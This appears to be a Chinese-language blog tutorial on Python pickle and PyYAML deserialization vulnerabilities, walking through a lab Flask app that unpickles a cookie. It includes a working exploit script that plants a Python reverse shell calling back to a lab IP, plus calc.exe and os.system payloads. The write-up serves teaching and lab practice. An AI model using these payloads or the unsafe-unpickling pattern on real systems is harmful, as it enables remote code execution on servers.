python安全之反序列化

前言

目前CTF比赛的web反序列化题目一般都是PHP反序列化,偶尔会有java反序列化,但是python的反序列化导致漏洞的题目却非常少,本人在阅读P牛的一篇文章的时候看到了python反序列化的实战利用,便学习总结了一下python反序列化的相关内容以及可能导致的安全漏洞。

python pickle序列化

首先,python的pickle序列化是怎样的呢,我们来举一个简单的例子。

1
2
3
4
import pickle 
dict = {'test1': 669, 'test2': 996}
data = pickle.dumps(dict)
print(data)

>> b'\x80\x03}q\x00(X\x05\x00\x00\x00test1q\x01M\x9d\x02X\x05\x00\x00\x00test2q\x02M\xe4\x03u.'

1
print(pickle.loads(data))

>> {'test1': 669, 'test2': 996}

这里简单的说明一下,pickle模块的dumps就类似于PHP中的serialize方法,将一个对象序列化成一串bytes,而loads则是将序列化的值反序列化为其本身的结构。要注意,pickle还有一个load方法,与loads的区别就是load是对文件进行操作而loads是对字符串进行操作。

似乎,变成了bytes的序列化的值无法直接了解到对象的内部信息,但是我们的环境是在python3下的,让我们在python2下再试试

1
2
3
4
5
6
7
8
(dp0
S'test1'
p1
I669
sS'test2'
p2
I996
s.

python2的序列化的值好像有着某种规则,确实是这样的,具体的可以参考https://zhuanlan.zhihu.com/p/25981037

我在这也把其相应的规则搬运一下贴出来,有兴趣的朋友可以自己深入研究一下

1
2
3
4
5
6
c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle。

我们再试试一个实体类的序列化与反序列化

1
2
3
4
5
6
7
8
9
10
import pickle
import os

class R1dd1er(object):

def __init__(self,test1,test2):
self.test1 = test1
self.test2 = test2
pupil = R1dd1er('996', '669')
print (pickle.dumps(pupil))

>> b'\x80\x03c__main__\nR1dd1er\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00test1q\x03X\x03\x00\x00\x00996q\x04X\x05\x00\x00\x00test2q\x05X\x03\x00\x00\x00669q\x06ub.'

1
print (pickle.loads(pickle.dumps(pupil)))

>> <__main__.R1dd1er object at 0x0000000002373B38>

在python2下又是怎样的呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ccopy_reg
_reconstructor
p0
(c__main__
R1dd1er
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'test1'
p6
S'996'
p7
sS'test2'
p8
S'669'
p9
sb.

pickle的漏洞成因

python的pickle反序列化之所以会造成一些漏洞,是因为其内部存在一个魔术方法__reduce__,我们再举一个例子看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os

class R1dd1er(object):

def __init__(self,test1,test2):
self.test1 = test1
self.test2 = test2


def __reduce__(self):
return (os.system, ('ls',))

pupil = R1dd1er('996', '669')
pickle.loads(pickle.dumps(pupil))

执行上面的代码,便执行了ls命令,__reduce__方法是在对象被反序列化的时候执行的,可以看做是直接执行os.system('ls')

靶场实战

我们用P牛的一个unpickle靶场进行分析。

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":
app.run()

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))


e = exp()
s = pickle.dumps(e)

response = requests.get("http://172.18.0.2:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)

分析代码我们可以得知靶场的应用从cookie中拿到user并反序列化后进行赋值,而user是我们可控的,因此可以构造一个实体类并将其序列化,从user传入,同时在__reduce__中写入python的反弹shell利用命令,当服务端进行反序列化时,便执行了我们构造的命令。修改一下exp上相应的IP号,在本地成功弹出shell

python yaml序列化

yaml,全称是”YAML Ain’t a Markup Language”,官方的定义就是一种人性化的数据格式定义语言,类似于JSON,XML。但是yaml有着自己特别的语法,可以简单的表示一些常见的数据结构,可阅读性强。

下面举点例子

1
2
3
4
5
6
7
8
9
#List
import yaml
test = yaml.load("""
- aaaaa
- bbbbb
- ccccc
- ddddd
""")
print (test)

>> ['aaaaa', 'bbbbb', 'ccccc', 'ddddd']

1
2
3
4
5
6
7
8
#dict
import yaml
test = yaml.load("""
riddler:
age: 21
money: 0
""")
print (test)

>> {'riddler': {'age': 21, 'money': 0}}

上面是反序列化的演示,同样,yaml在python中也有dump方法

1
2
3
import yaml
test = {'riddler': {'age': 21, 'money': 0}}
print (yaml.dump(test))

输出为yaml格式

1
2
3
riddler:
age: 21
money: 0

yaml反序列化漏洞

在这就参考勾陈安全实验室的一篇文章http://www.polaris-lab.com/index.php/archives/375/
注意这篇文章的环境是py2

1
2
3
4
5
6
7
8
9
10
11
12
import yaml
import os

class test:
def __init__(self):
os.system('calc.exe')

pupil = test()
payload = yaml.dump(test())
attack = yaml.load(payload)
print(payload)
print(attack)

输出对象的序列化格式和反序列化的格式

1
2
3
4
5
!!python/object:__main__.test
age: '996'
name: riddler

#<__main__.test object at 0x000000000290B400>

运行上面的程序结果是弹出两次计算器,因此理论上如果存在一个场景,我们可以上传yaml文件,服务器那边直接使用yaml.load,我们可以构造恶意的yaml语句(上面的文章有很详细的介绍)反序列化后形成攻击。但是我在复现文章通过打开文件的方式反序列化时并没有成功,我查了一些资料,猜测可能是最新版本的pyyaml不支持反序列化一个对象,或者是python3不支持那样(只是猜测,有知道的dalao还望指点)

同时在使用yaml.load的时候会有这样的警告

Warning: It is not safe to call yaml.load with any data received from an untrusted source! yaml.load is as powerful as pickle.load and so may call any Python function.

并且实际上我们可以在官方说明找到这样的话

Note that the ability to construct an arbitrary Python object may be dangerous if you receive a YAML document from an untrusted source such as Internet. The function yaml.safe_load limits this ability to simple Python objects like integers or lists.

官方警告就是yaml.load函数不安全,建议我们使用yaml.safe_load函数,这样可以限制构造的对象只能是简单的python对象,如同整数或列表,从而避免反序列化一个危险对象。而且,pyyaml已经宣布弃用yaml.load函数,不过现在还是可以使用的,只是用了会有个警告。https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation-Deprecation)

结束语

由于本人水平有限,如果文章有纰漏,还望师傅们指出